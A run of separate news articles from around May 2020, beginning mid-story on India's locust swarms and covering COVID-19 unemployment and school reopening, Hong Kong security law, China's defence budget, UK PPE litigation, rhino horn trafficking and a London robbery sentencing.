We are keeping stock of chemicals in all the districts. Our instructions to all these districts are to track the locusts and spray the chemical over them when they settle at night. Thus, their number is decreasing by the day. Also, the area is chemically treated to destroy their eggs too, said Kesari.

Dr KL Gujar, deputy director, Locust Warning Organisation (LWO), Faridabad said the creatures were headed this way looking for greener and moist areas.

Given the swift westerly wind, swarms of desert locusts are covering a large area while flying high. The adult locusts can cover several hundred kilometres in the daytime. The breeding of the locusts took place in Pakistan, Baluchistan and Iran but right now, there is dry condition over there. Thats why these are heading towards greenery and moist areas. Direction of wind also helps them cover long distances.

Dr Gurjar said, We cant control them in the daytime. We try to control them when they settle at night. Given the size of the group, we are able to cover only 50 to 60% of them with all our resources. The remaining fly and some more join the swarm to make its size bigger. Besides, the existing resources, we are also trying to use drones. In the next couple of days we can get drones to target them on the trees itself while spraying chemicals.

He added that the locusts have arrived for the second consecutive year. This year they were chased in Rajasthan, MP, Gujarat and Punjab. Dr Gurjar said it was important to prevent them from breeding.

We have to stop their breeding. If we cant control them in five days, they will be ready to breed posing a threat to the kharif crop. Thats why we have to kill them very fast.

(With input from Mustafa Husain in Neemuch and Monika Pandey in Jabalpur)

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Just 11 months after dropping to a 29-year low, in Napa Countys unemployment rate in April hit a 30-year high, reported the state Employment Development Department (EDD) on Friday.

Due to the impacts of the COVID-19 pandemic, this April the jobless rate skyrocketed to 15.9%. Thats a dramatic increase up from a revised 4.1% in March 2020, and far above the year-ago estimate of 2.7%.

Statewide, this compares with an unadjusted unemployment rate of 16.1% for California and 14.4% for the nation during the same period.

Napa County lost 10,000 jobs in the past month, reported the EDD. The bulk of those jobs  5,600  were in the leisure and hospitality industries. An estimated 1,300 jobs were cut in manufacturing.

In one month the number of job seekers in Napa County rose from 3,000 to 11,500, said the EDD.

We have never seen anything like this, said Bruce Wilson, executive director, Workforce Alliance of the North Bay. Its hard to know what to expect in this kind of situation.

The dramatic rise in unemployment is terrible at every level, most particularly in the households of those that are dealing with it, said Wilson.

Unemployment stirs fear and uncertainty in normal circumstances, let alone a pandemic and world-wide shutdown of the economy, he said.

It has particularly impacted the visitor serving sectors which of course are vital to Napa County, said Wilson

It also has compounding impacts on every part of the economy and local governments ability to pay for services that are more important than ever including access to all aspects of health programs.

COVID 19 is a disruptor and the impacts of this may not go away quickly, said Wilson.

According to Wilson, there is some good news. The number of people filing new jobless claims is declining -- from a peak of 5,526 the week ending March 28 to 2,152 as of April 11. Of course, thats still a huge increase from March 14 when only 159 people filed new claims.

My hope is that this downward slope will continue as Napa County and California begins to slowly open back up, said Wilson.

According to Wilson it is important that the local economy begin to come back on line when worker safety can be assured.

This will require the partnership and consensus of the public health system and local economic advocates, he said.

In Napa, this has been led in part by incredible business leaders from the Chambers of Commerce working with our public health officials, said.

Wilson also said its important that the the federal and state government hold the line while this occurs. Make sure there continue to be programs that mitigate permanent business closure and layoffs. If this can occur than we stand a better chance of seeing a quick recovery where furloughed workers can resume their jobs and careers with their current employers, he said.

The county can do several things to help combat the loss of jobs, he said.

First, catalog its publicly sponsored economic and workforce assets and discover how they can work together and be packaged on behalf of businesses and workers.

Second, understand barriers to business productivity and work toward balanced policies that preserve health while removing barriers and bolstering economic recovery.

And third, develop an infrastructure (i.e. business assistance center) that will help with the identification of business issues and promote access to benefits and programs that can assist business and workers.

Essentially, ensure that different programs are seamlessly working together to package services for the end user  unemployed job seekers and businesses, he said.

Those who are jobless have options, said Wilson.

Job seekers should contact CareerPoint Napa counselors to learn about and access services and resources that will help mitigate income and job loss.

Another suggestion for job seekers is to register for a Rapid Response Webinar. Every Wednesday at 10 a.m. representatives from CareerPoint, the EDD, the Department of Labor and other important resource partners present information about services that can assist impacted workers.

Business should think about how they can innovate in light of new realities about how people feel in this new environment, he recommended.

The dramatic increase in the jobless rate is not a surprise to Dr. Robert Eyler, professor of economics at Sonoma State University.

The economist said Napans should expect historically bad numbers over the next couple months, with) unemployment in the mid-to-high teens across the North Bay.

We need to open up to get going again and see how we can hold the economy's capacity somewhat constant, said Eyler.

According to Eyler, Business losses are more problematic than job losses (though job losses are always tough) in the medium term, as business losses exacerbate job losses.

The county of Napa should try and help as many businesses stay in business as it can, he said. However, that can be harder to do because the county depends greatly on the tourism, retail and restaurant industries.

Eyler had this advice for those that are unemployed.

First, get the benefits you are entitled to based on unemployment and federal stimulus payments.

Second, create a list of all financial resources that are available and lastly, create a plan for 12 months without a job.

In addition, take a little time to rethink next career steps, said Eyler. Don't panic. Of course, the longer unemployment lingers the more difficult (that) advice becomes to follow.

Employers should do the same, said Eyler, with two other suggestions.

One, consider what it will cost to continuing your business during this time, and two, stay in touch with employees as best you can in case you suddenly need them back, he said.

Eyler said its possible that the sudden shock of the pandemic will lead to a lack of labor in some, specifically lower-wage, service industries.

If so, that inability to rehire labor quickly can lead to problems of growing again to escape the economic harm from the social policies that saved lives, he said.

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You can reach reporter Jennifer Huffman at 256-2218 or jhuffman@napanews.com

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Secretary of State Mike Pompeo on Friday condemned China's effort to take over national security legislation in Hong Kong, calling it a death knell for the high degree of autonomy" that Beijing had promised the territory.

The measure, submitted Friday on the opening day of China's national legislative session, is strongly opposed by pro-democracy lawmakers in semi-autonomous Hong Kong.

Pompeo weighed in as well, calling the proposal by China an effort to unilaterally and arbitrarily impose national security legislation on Hong Kong.

Hong Kong has flourished as a bastion of liberty. The United States strongly urges Beijing to reconsider its disastrous proposal, abide by its international obligations, and respect Hong Kong's high degree of autonomy, democratic institutions, and civil liberties, which are key to preserving its special status under US law," Pompeo said in a statement.

He said the decision to ignore the will of the people of Hong Kong would be a "death knell for the high degree of autonomy Beijing promised for Hong Kong under a decades-old agreement known as the Sino-British Joint Declaration.

The proposed bill is aimed at forbidding secessionist and subversive activity, as well as foreign interference and terrorism. It comes after months of pro-democracy demonstrations last year that at times descended into violence between police and protesters.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
China, the second-largest military spender after the US, has hiked its defence budget from last year's 177.6 billion to USD 179 billion, nearly three times that of India, the lowest increment in recent years apparently due to the heavy disruption caused to its economy by the COVID-19, according to the official media.

China, which has the world's largest military of two million troops, will continue to lower its defence budget growth rate to 6.6 per cent in 2020, according to a draft budget report presented on Friday to National People's Congress (NPC), the country's top legislature.

The 2020 defence budget continues to see single-digit growth for a fifth consecutive year. It is the lowest growth rate in recent years, the state-run Xinhua news agency reported.

China's this year's defence budget will be around 1.27 trillion yuan (about USD 179 billion) against last year's 177.61 billion, according to the draft submitted to the NPC.

China's total defence spending in 2019 only amounted to a quarter that of the United States, the world's largest defence spender, while the per capita expenditure was just about one-seventeenth, the report said.

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On Thursday Zhang Yesui, spokesperson for the NPC in a media briefing played down criticism about lack of transparency in China's defence expenditure which defence analysts say considering the rapid expansion of Beijing's military and modern weapons is far higher than what is announced.

Zhang said China had no "hidden military spending".

China has been submitting reports on its military expenditures to the United Nations every year since 2007, he said.

"From where the money comes from to how the money is used, everything is accounted for," Zhang said.

According to Stockholm International Peace Research Institute (SIPRI), the military expenditure figures of China's defence spending in 2019 amounted to USD 232 billion.

While China compares its defence expenditure with the US, whose defence budget according to SIPRI was USD 732 billion, Beijing's massive defence modernisation drive is pushing India and a number of other countries to hike their own defence budgets to ensure reasonable balance of power.

India's budget for 2020 amounted to USD 66.9 billion (Rs. 4,71,378 crore) according to a write-up in Indian Institute for Defence and Analysis, (IDSA). China's latest budget of USD 179 billion is amounted to about 2.7 times more that of India.

China's defence spending has been staying at around 1.3 per cent of its gross domestic product for many years, well below the world's average of 2.6 per cent, Zhang said.

China's defence budget in recent years acquired limelight as it embarked on a massive modernisation which included a number of aircraft carriers, stealth aircraft, rapid development of modern naval frigates.

Since Chinese President Xi Jinping came to power, China has revamped its defence forces, cutting the army by three lakh troops and enhanced its naval and air power as Beijing expanded its influence abroad.

China currently has one aircraft carrier, the second one is undergoing trials while the third is being built. According to official media reports, China plans to have five to six aircraft carriers in near future to challenge the US all around the world including in Beijing's backyard the South China Sea (SCS).

China claims all most all of the SCS as its territory. Vietnam, Philippines, Malaysia Brunei and Taiwan have counterclaims on it.

China is engaged in hotly contested territorial disputes in both the South China Sea and the East China Sea. Beijing has built up and militarised many of the islands and reefs it controls in the region. Both areas are stated to be rich in minerals, oil and other natural resources and are also vital to global trade.
An Indian-origin doctor couple have initiated judicial review proceedings against the UK government over risky guidance issued on the use of personal protective equipment, such as surgical gowns, across the state-funded National Health Service (NHS) during the coronavirus pandemic.

Dr Nishant Joshi and his pregnant wife, Dr Meenal Viz, had launched their legal action last month with a pre-action letter seeking answers from the UK's Department of Health and Social Care and Public Health England.

On Thursday, they decided to push ahead with the case in the High Court in London after receiving unconvincing responses from the government.

"We asked simple questions one month ago, hoping for open dialogue and swift resolution with (UK Health Secretary) Matt Hancock. In that time, over 100 more healthcare and social workers have died, the couple said.

There is a human cost to this suffering we have fielded many calls from bereaved families, many of whom have questions about Personal Protective Equipments and systemic failings. They are going through the worst grief and trauma of their lives, and they deserve answers, they said.

The legal challenge against the guidance, which applies to healthcare and social care workers, claims that it reduces the requirement to wear Personal Protective Equipments (PPE) and allows for re-use of some PPE.

It is argued that this goes against World Health Organisation (WHO) guidance and puts healthcare workers at risk, breaching their legal protections at work and their human rights.

The couple's legal team said the government not only took over two weeks to respond to the initial legal letter but also did not answer all the concerns.

They also claim that the government has refused to allow the publication of the initial response.

Jamie Potter, Partner at Bindmans LLP and solicitor for the doctors, said: "The government continues to seek to avoid transparency as to the risks such workers are facing with different levels of PPE and confirmation they are entitled to refuse to work where they consider the risks too great.

They should be entitled to compliance with WHO guidelines for all of their work. The government may be facing operational pressures, but it is nothing compared to the pressures and risks faced by frontline health care workers with inadequate PPE."



The WHO guidelines are designed to maintain those protections despite acute shortages of PPE and the government has not explained why it has taken a different approach that causes greater risk for frontline staff," added Estelle Dehon, from Cornerstone Barristers, representing the couple in court.

Joshi and Viz have also launched a crowdfunding campaign for the legal challenge, which has already attracted 35,458 pounds in pledges on the Crowdjustice.com forum.

Joshi, a general practitioner (GP) trainee, has been leading a social media campaign for weeks over the safety guidance and supply of PPE for medical staff.

Viz, a clinical fellow in medicine, was pictured last month outside Downing Street dressed in full medical scrubs and a surgical mask holding a placard reading: Protect Healthcare Workers.

The Department of Health has not commented on the legal challenge directly but has previously stressed that measures are in place to minimise risk.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The Drug Administration of Vietnam is asking for an explanation from American healthcare giant Johnson & Johnson of a halt to the sale of talcum-based baby powder in the United States and Canada amid accusations that the flagship product contains a cancer-causing substance.

This move was made considering the cause of the sales cessation, responses by management agencies in other countries, and information on product safety, a representative of the administration told Tuoi Tre (Youth) newspaper.

The source said the drug regulator will send a written request to the company.

Over the past few years, the agency has inspected talc-based baby powder several times amid reports about the quality of the product, which is a popular choice among Vietnamese parents for their babies.

Johnson & Johnson said in a statement on May 19 that as part of a portfolio assessment related to the novel coronavirus pandemic, the company in March stopped shipping hundreds of items in the U.S. and Canada.

The move was said to prioritize high-demand products and to allow for appropriate social distancing in manufacturing and distribution facilities during this unprecedented pandemic.

Subsequently, the company decided to permanently discontinue roughly 100 stock-keeping units from the March assessment, as well as talc-based Johnsons Baby Powder.

This discontinuation is only effective in the U.S. and Canada, said the company, adding that Johnsons Baby Powder represents around 0.5 percent of the total U.S. consumer health business.

The company explained demand for talc-based Johnsons Baby Powder in North America has been declining, due in large part to changes in consumer habits and fueled by misinformation around the safety of the product and a constant barrage of litigation advertising.

Reuters said in a news report that Johnson & Johnson faces more than 19,000 lawsuits from consumers and their survivors claiming its talc products caused cancer, due to contamination with asbestos, a known carcinogen.

However, the company said in the statement that it remains steadfastly confident in the safety of talc-based Johnsons Baby Powder, citing decades of scientific studies.

We will continue to vigorously defend the product, its safety, and the unfounded allegations against it and the company in the courtroom. All verdicts against the company that have been through the appeals process have been overturned, said the company.

In a report in 1994, Reuters said that Johnson & Johnson was among about 20 United States companies that set up offices in Vietnam since February 1994, when then-U.S. President Bill Clinton lifted a 30-year-old economic embargo against the Southeast Asian country.

It was not until 2011 that the firm established its wholly subsidiary, called Johnson & Johnson (Vietnam) Co. Ltd., in Ho Chi Minh City, which acts as the official distributor of the giants products in the nation.

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Why are people so attracted to beautiful natural scenes like green fields, trees, and rivers? Nostalgia, maybe? A sense of wonder? Some inherent draw to what is aesthetically pleasing?

Nah. According to some thinkers, science has figured out that we are drawn to natural beauty because for our ancestors, such scenes represented survival. By science, I mean whats known as evolutionary psychology or, as my colleague Shane Morris calls it, Sabertooth Psychology.

Evolutionary psychology is a field specializing in hypotheses in which natural selection explains all human behaviors. According to this way of thinking, all of our modern behaviors are best understood as carryovers from those ancient behaviors that offered our ancestors evolutionary advantage over others. So, those who didnt appreciate beautiful natural landscapes had less access to food and water and, therefore, produced less offspring. Eventually, their line died out while those who liked lush natural scenes survived.

However, not everyone is persuaded by this sort of hypothesizing, including psychologist Dr. Steve Taylor. Writing at Psychology Today, Taylor says that evolutionary psychology is largely based on assumptions rather than evidence, and as such it is debatable whether it should be referred to as a science (since its hypotheses are generally unfalsifiable). Or, as philosopher Subrena Smith recently told Gizmodo, we dont have the relevant evidence about how our ancestors behaved to make any substantive claims.

Even so, evolutionary psychology continues to enjoy a popularity in many academic circles, the media, and other segments of culture that far outweighs its scientific credibility.

According to evolutionary psychologists, mate selection, parental care, predator avoidance and other behaviors result from natural selection working on our brains. They further assume that our brains havent changed in the tens of thousands of years since.

But there is no evidence for these assumptions. On the contrary, as Smith told Gizmodo, brain science (not to mention history) shows that, Our brains are dynamic, our behaviors are dynamic, were imaginative, we generate novel behaviors in contexts that never exhibited themselves. This helps explain why only humans have spread to every continent.

Evolutionary psychology is built on what we might call just-so stories, conclusions that must be so because they are required by the assumptions that must not be questioned. While the constant hypothesizing might cause the people at Gizmodo to roll their eyes, the ideas of evolutionary psychology have real consequences and victims.

For example, according to evolutionary psychology, rape is a behavior of natural selection, one potential strategy for males for achieving reproductive success. It is, according to this framework, not a moral abomination, but an aberration, an alternative gene-promotion strategy that is most likely to be adopted by the losers in the competitive, harem-building struggle.

While no evolutionary psychologist would conclude that rape is somehow justified, its not at all clear on what moral grounds they refuse to do so, since rape must be considered both natural and hardwired. They also must ignore much of human history, in which rape was used as a weapon to subjugate entire populations during wartime, such as in the 1937 Rape of Nanjing or, more recently, ISISs wave of terror. Survival of the fittest anyone?

On a related issue, evolutionary psychology struggles to conclude whether humans are evolutionarily adapted to mate for life, like birds, or to be promiscuous, like our other ancestors. Either can be concluded by appealing to evolutionary adaptation, otherwise known as the dynamic imaginations of evolutionary psychologists.

As atheist philosopher David Stove wrote in his book Darwinian Fairytales, however well these imaginative explanations describe sponges, snakes, flies, or whatever, they are a ridiculous slander on human beings. Thats because, as Chuck Colson said years ago, they cannot account for what is most essentially human . . . things like altruism and music, the love of beauty and that most un-survival- of-the-fittest human behavior: self-sacrifice.

So, remember, the next time you see an article or TV special ready to explain the natural origins of human behaviors, you might want to pull up a chair and get out some popcorn. Youre about to hear a fairy tale.

Originally posted at breakpoint.org
Protesters call for police chief to be fired after two officers charged with assault KANSAS CITY, Mo. - Protesters rallied outside of police headquarters upset over the arrest of a transgender woman, which resulted in criminal charges filed against two police officers. A group calling itself Sankofa for KC is upset over what it calls the mishandling of the investigation into the arrest of Breona Hill.

Admittedly, this smattering of protesters was small but the Chief has endured a great deal of criticism this week from locals who quickly forget how much they opposed the last KCPD honcho . . . Here's an overview of growing resistance amid increasing political pressure confronting the department as the record-breaking homicide pace continues . . .
Mr. Stephen Ofosu Darfour, a child rights activist, has called on the government to adopt a systematic approach towards re-opening of schools in the midst of the coronavirus pandemic.



He said there should be clear laid down rules and regulations regarding how schools should be re-opened and operated, with focus on strict compliance to the existing preventive protocols instituted by the government to contain the spread of the virus in the country.



Mr Ofosu Darfour, who is the Ashanti Regional Director, In-charge of Child Protection, at the Ministry of Gender, Children and Social Protection, told the Ghana News Agency in an interview in Kumasi that, there should be clear cut guidelines, if schools were made to re-open.



Ghana ranks as one of the countries in the sub-Saharan Africa to have recorded more confirmed cases of the pandemic, logging a total of 6,486 confirmed cases with 31 deaths, as at Friday, May 22 this year.



For about two months now, all schools in the country have remained closed as part of the governments strategy to mitigate the spread of the pandemic.



However, a section of the populace, including some educationists and opinion leaders, are arguing for the reopening of schools, saying the situation could be contained given the right measures in place.



But Mr. Ofosu Darfour, says teachers may find it difficult to control and protect children, especially those at the primary stages, should the schools reopen without effective preventive protocols in place.



We must properly spell out the roadmap for reopening schools in a manner that would not compromise on the health and safety of the child.



Some pertinent issues relating to how social distancing could be observed, as well as the maintenance of personal hygiene and avoiding an overcrowded class, all needs to be taken into consideration, he pointed out.



Mr. Ofosu Darfour pointed out that the current term was almost ending per the Ghanaian academic calendar, and suggested to the government to suspend academic work until September 2020, when a new academic year would begin.



Notwithstanding, the government could also make provision to allow for final year students in the Junior High and Senior High Schools to write their certificate examinations.



Mr. Ofosu Darfuor called on the citizenry to exercise restraint as government took pragmatic decisions that would inure to the benefit of all stakeholders as far as reopening of schools in the country was concerned.



In a related development, Madam Aba Oppong, also a child rights activist, sharing her views on the issue, said it would be wrong for authorities to rush into reopening of schools.



She cited the case of France, whose decision to reopen schools triggered the spread of the pandemic, recording about 70 COVID-19 positive cases amongst children in just some few days.



Nobody has control over the virus. We should, therefore, continue to act with care, while protecting the lives of Ghanaian children, she told the GNA.

Source: GNA









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It is alleged that the men bought the horns for $18,000 and then travelled to New York and sold them for $50,000

A Limerick man has been extradited to the United States to face allegations of trafficking endangered rhino horns after an early morning arrest by 20 armed gardai, the High Court has heard.

John Slattery (30), who changed his name to John Flynn by deed poll, of Old Barrack View, Fairhill, Rathkeale, Co Limerick, is accused of three offences of wildlife trafficking in the US.

At Friday's High Court sitting, Mr Justice Paul Burns heard that Mr Slattery had been arrested in the early hours of the morning before the court hearing, even though he was still on bail, and that he was to be taken to a Texas prison.

Mr Slattery's bail was due to expire on Friday at midnight. It had been granted on condition that he present himself to Henry Street Garda station in Limerick within 24 hours of being notified that surrender can take place.

A previous High Court hearing heard that Mr Slattery was willing to surrender himself to the US authorities to face the allegations but his extradition was delayed due to Covid-19.

US authorities allege that he and two others travelled to a taxidermy shop in Austin, Texas, to buy the horns.

It is alleged that the men bought the horns for $18,000 and then travelled to New York and sold them for $50,000.

The men were initially unable to buy the horns because they were not local residents so they enlisted the help of a Texas man - a straw buyer - to complete the purchase, according to US authorities.

It is alleged that between April 2010 and November 2010 Mr Slattery bought two further horns from an individual for $10,000.

US authorities claim that in 2010 Mr Slattery and his co-accused travelled to an auction house in Macon, Missouri, where they allegedly obtained a consignment of horns from endangered white and black rhinos.

Mr Slattery had been granted bail in April by the High Court, having already spent nine months on remand, under a bond of 10,000, which was lodged.

At Friday's High Court hearing, counsel for the Minister for Justice, Ms Lisa Dempsey BL, confirmed to the court that "Mr Slattery has been, today, surrendered to the US authorities".

Barrister Mark Lynam BL, for Mr Slattery, told the court that he was "uneasy about how matters have transpired".

"Mr Slattery was taken from his home this morning by, I'm told, 20 armed gardai. - I'm hearing that," Mr Lynam told the court.

"He was taken from his home and put on a plane. I'm very surprised it happened that way because Mr Slattery is someone who is in a high-risk category in respect of Covid-19.

"We're making inquiries about this because the gardai on the case-file knew nothing about it. We're just surprised that it happened. He's going to a prison in Texas and there's been a reported forty deaths in prisons in Texas in the last two weeks, and he's high-risk. I'm looking for clarity on what the plan was," he said.

Mr Justice Burns acknowledged Mr Lynam's comments, which were committed to the record.

Ms Dempsey said that while every case was different, this case was "dealt with in a manner deemed appropriate by An Garda Siochana in relation to the surrender being effected successfully and there had been Garda objection [to the bail already granted], substantial bail money was lodged and I would deny anything untoward in that regard".

Mr Lynam said he was "not suggesting anything untoward".

The bail money of 10,000 was ordered to be released back to Mr Slattery's family.
NEW YORK, N.Y. -- Mayor Bill de Blasio predicts New York City can start reopening in the first two weeks of June.

The mayors latest prediction comes as the city has seen its three daily reopening indicators it has been tracking to determine when New York City can begin relaxing its coronavirus restrictions stay consistently low.

Those indicators include the number of New Yorkers being admitted into the citys hospitals, patients in the citys 11 public hospitals intensive care units, and the rate of New Yorkers testing positive for coronavirus.

Looking at these numbers, I'm looking at the consistency of them, I'm looking at our indicators, the state indicators, and I said everything's pointing to either the first or second week in June, de Blasio told reporters during a press conference Friday.

The city has been keeping track of these indicators for nearly five weeks, but has not included Staten Islands two private hospitals and private hospitals all across the city in its ICU indicator count.

In addition to the citys reopening indicators, before New York City and regions across the state can reopen in phases, they must first meet seven state-mandated reopening metrics.

Once those metrics are reached different regions across the state can reopen their economics in four phases.

Those metrics include a 14-day decline in net hospitalizations; 14-day decline in hospital deaths or fewer than five deaths; under two new hospitalizations per 100,000 residents; and regional hospitals keeping 30% of their general hospital and ICU beds available; a testing program that reaches 30 per 1,000 residents in the region; and having 30 contact tracers per 100,000 residents or based on infection rate.

As of Wednesday, New York City only met four of those requirements and has not even reached Phase 1 or reopenings.

But de Blasio said the city is likely to reach Phase 1 in early June.

Industries in Phase 1 include construction, agriculture, forestry, fishing and hunting, Retail (limited to curbside or in-store pickup or drop off), manufacturing and wholesale trade.

Restaurants and other food establishments cannot fully reopen to customers until Phase 3.

It looks damn clear right now it's the first or second week in June to go into Phase 1, de Blasio said. Again, that's manufacturing, construction, wholesale and retail only for curbside pickup.

Those are the big standards and then we'll fill in a lot of blanks between now and then about how to do those things and how to approach them safely. But I think it's going to be first or second week in June unless people get undisciplined and start to lose track of the standards and we start to see a resurgence.

The state is currently looking at the five boroughs as one New York City region in its reopening metrics, but Staten Island Republicans have called on Gov. Andrew Cuomo to look at all of the boroughs separately in its reopening plan.

However, its unlikely the city and state will consider reopening Staten Island or other boroughs ahead of other parts of New York City.

Mayoral spokeswoman Avery Cohen recently said New York City is one city and would reopen together.

The office of Gov. Andrew Cuomo did not respond to requests for comment when asked this week if the state would consider looking at Staten Island as a separate region in its metrics when recently asked.

Assemblyman Michael Reilly, (R-South Shore) told the Advance the governors office recently told him the boroughs data would remain part of the citys regional metrics after he asked the mayor and governor last week if Staten Island could be looked at as a region separate from the rest of the city.

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Satish Kaul has acted in over 300 Punjabi and Hindi films in his career.

Veteran Punjabi star Satish Kaul, who has acted in several Hindi films and shows including Mahabharat, says he's currently facing financial woes and the nation-wide lockdown has only made the situation worse for him.

The actor, whose credits include working in over 300 Punjabi and Hindi films and played the role of Lord Indra in Mahabharat, said contrary to rumours, he's not in an old age home.

"I'm staying in a small rented place in Ludhiana. I was staying in an old age home earlier but then I'm here at this place with my good samaritan Satya Devi. My health is ok, I'm doing fine but the lockdown has made matters worse.

"I'm struggling for medicines, groceries and basic needs. I appeal to the industry people to help me. I got so much love as an actor, I need some attention now as a human in need," Kaul told PTI.

The 73-year-old actor had also worked in films like Pyar To Hona Hi Tha, Aunty No 1 and show Vikram Aur Betaal.

Kaul had moved to Punjab from Mumbai and had started an acting school around 2011. The actor said that project wasn't a success.

"It came to a halt and whatever work I was doing later was affected after I fractured my hip bone in 2015. For two and a half years, I was bed-ridden in the hospital. Then I had to check in to an old age home where I stayed for two years."

Kaul said he feels grateful that people had showered him so much love when he was in his prime and doesn't have any "regrets" now.

"It's ok if they've forgotten me. I got so much of love and I'm grateful. I will forever be indebted to the audience for that. Right now, I wish I am able to buy a decent place of my own where I can stay.

"The fire to act is still alive in me. It isn't over. I wish someone gives me a role even today, any role, and I would do it. I'm raring to act again," he added.

Last year, Punjab CM Captain Amarinder Singh tweeted that he had allocated Rs 5 lakh for the veteran actor's treatment. He also wished for Kaul's speedy recovery. Singh wrote that he "stayed committed to helping all those who have contributed to our state and it's culture." Singh had also asked the Deputy Commissioner of Ludhiana to pay Kaul a visit and send him a report.

(With inputs from Press Trust of India)
Police in Rome to curb gatherings on first post-lockdown weekend.

Rome police are to patrol areas of the city associated with nightlife during this weekend - the first after Italy eased its lockdown restrictions on 18 May, reports Italian news agency ANSA.

Around 1,000 officers will be tasked with ensuring that people comply with Italy's measures to contain the spread of covid-19, including a ban on gatherings.

Checks will be carried out in districts including Campo de' Fiori, Pigneto, Ponte Milvio, S. Lorenzo, Testaccio and Trastevere, with additional patrols in parks and along the coast.

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The move follows a message from the mayor of Rome, Virginia Raggi, who appealed to Romans not to let their guard down, saying: "This is not the time yet for nightlife."Raggi also said that: "I give Romans ten out of ten, if not 11, we kept the city together respecting difficult rules."

Raggi's remarks about nightlife eechoed those of Italian premier Giuseppe Conte who said yesterday: "Its not the time for parties, nightlife or gatherings", adding: During this phase, more than ever its fundamental to respect security distances and wear masks, where necessary.

File photo: Corriere della Sera
U.S. doctors and others in the scientific community are calling for the release of data that convinced health regulators to authorize emergency use of Gilead Sciences Inc's antiviral drug remdesivir to treat COVID-19, so they can direct limited supplies on the right patients.

Vanda Pharmaceuticals Inc Chief Executive Mihael Polymeropoulos on Wednesday published an open letter asking for a full download of the trial findings that led to emergency use authorization by the U.S. Food and Drug Administration. "What if the drug is best suited to people early in the infection cycle? If we give it to people with severe disease - out of natural compassion - we may have wasted the drug," the CEO told Reuters.

He said Vanda, which is developing an anti-inflammatory drug for COVID-19, is looking to "lend our expertise." The FDA approved emergency use of remdesivir on May 1 based on preliminary results from a National Institute of Allergy and Infectious Diseases (NIAID) trial showing that the drug cut hospital stays by 31%, or about four days, compared with a placebo.

No other details of the 1,063-patient trial have been released. The Institute said by email that a report on the trial will be published in a few weeks. Gilead has not said when. "We want to direct the drug to those most likely to benefit and least likely to be harmed," Dr. Helen Boucher, chief of infectious diseases at Tufts Medical Center in Boston, told Reuters.

There are no formally approved treatments for COVID-19 - the sometimes deadly illness caused by the novel coronavirus - and remdesivir is the first drug to show benefit in a large placebo-controlled trial. Hospitals say they are concerned about distribution of limited supplies and are establishing ethical guidelines to ration remdesivir, without having seen the full trial data.

Katherine Perez, a pharmacy specialist in infectious disease at Houston Methodist Hospital, said her institution was prioritizing patients based on the drug trial's enrollment protocol, but needed more data to make better informed treatment decisions. Gilead's trials close by the end of the month and the NIAID plans to study remdesivir in combination with an anti-inflammatory compound.

Also read: Remdesivir inches closer to EU's initial authorisation as coronavirus treatment

Also read: Coronavirus India Tracker Live Updates: Ticket counters reopen at railway stations from today; cases-1.18 lakh
T wo men who targeted a fashion designer to the Duchess of Cambridge for her 25,000 Rolex watch in a terrifying axepoint robbery have been jailed for more than ten years.

Connor Murphy, 26, brandished the fearsome weapon at Amanda Wakeley OBE in an ambush as she walked to her car, shouting give me your watch as an accomplice grabbed the 57-year-old around the neck and dragged her to the ground.

When Ms Wakeleys designer gold Rolex had been wrestled free in the shocking broad-daylight attack in Chelsea, members of the public rushed to her aid as the thieves fled on a moped.

The designer  a favourite of both the Duchess of Cambridge and the Duchess of Sussex and known for her signature evening dresses  was left with neck pain after the mugging, Isleworth crown court heard. Her husband Hugh Morrison said she was naturally shocked in an Instagram message the following day.

Murphy pleaded guilty to conspiracy to commit robbery while Chelsea resident Richard Walsh, 29 admitted he had been instrumental in planning the crime including researching the value of Ms Wakeleys watch online.

Richard Walsh, left, and Connor Murphy / Metropolitan Police

Judge Simon Davis sentenced Murphy on Thursday to six years in prison and jailed Walsh for four years and nine months, saying it was a carefully planned and organised robbery with the hallmarks of some professionalism.

Andrew Caird, from the CPS, said: This was a targeted and terrifying robbery in broad daylight. One defendant was wielding an axe at the victim and the other put her into a headlock before snatching the Rolex watch off her and fleeing.

The prosecution case included strong CCTV and telephone evidence which included images of the same Rolex watch that was stolen from the victim, on Walshs phone.

CCTV footage of the mugging, just before 9.30am on November 13 last year, showed Ms Wakeley walking with her dog to her car but pausing when she realised one of her tyres had been deflated.

As she went to inspect the problem, Murphy rode on to the pavement on a moped while brandishing the axe, and the other man  who has not yet been caught  grabbed the fashion designer around the neck.

You can see Mr Murphy producing the axe and making the threats while [the accomplice] is taking Ms Wakeley to the ground, said prosecutor Diana Wilson.

The court heard Ms Wakeley offered to hand over her watch to end the ordeal, and had to unclip it as the thief was struggling to wrestle it from her wrist.

Ms Wilson added that Ms Wakeleys car tyres had been deflated repeatedly in the days before the robbery, indicating that the violence and unpleasant robbery had been pre-planned.

Police identified a BMW which had been driven to the scene by one of the muggers and put it under surveillance by plain clothes officers. Walsh, who lives just a short walk from the scene of the robbery, was seen driving the BMW away once he mistakenly believed police officers had left.

He had not been present when the mugging took place, but had researched the value of Ms Wakeleys watch online and used his local knowledge to help plot the ambush. Walsh told the court he did not know that an axe was going to be brandished.

Both defendants have long criminal records, including burglaries, thefts, and drug offences. Lucy Daniels, for Murphy, said he used the stolen watch to try to settle a drugs debt, having been told to target Ms Wakeley.

Murphy, of Ladbroke Grove, pleaded guilty to conspiracy to commit robbery and having an offensive weapon, and Walsh, from Chelsea, admitted intentionally encouraging the commission of an offence, namely a robbery.




Minister of State for Education, Chukwuemeka Nwajiuba

The Federal Government has revealed that there are plans to soon reopen schools nationwide.

Minister of State for Education, Chukwuemeka Nwajiuba however said that schools will not reopen in two weeks as being speculated in some quarters.

He spoke on Thursday during the Presidential Task Force on COVID-19 news conference in Abuja following rumours making the round the Federal Government would reopen schools in the next two weeks.

The Federal Government had ordered the indefinite closure of educational institutions nationwide as part of measures to prevent the spread of COVID-19 pandemic.

But Nwajiuba while responding to questions from the media on when the governments plans to reopen to the schools following the easing of the lockdown, said the schools would be reopened when the safety of the school children could be guaranteed.

He said the government was wary not to endanger the lives of the school children and further spread of the coronavirus in the society.

He added that his ministry is working with other relevant stakeholders and agencies of government to put necessary measure in place that would guarantee the safety of children before the schools are reopened.

He said: We all are seriously interested in reopening and I believe we will reopen soon. But I cant confirm what your children said that we will reopen in two weeks.

The issue around reopening has nothing to do with the availability of the schools or not. It has to do with national governance. The idea of shutting down the schools has nothing to do with the schools per se.

You heard the chairman of the Presidential Task Force on COVID-19, the SGF, keep saying it is a national response. It is a single national response and everything we do flows from that.

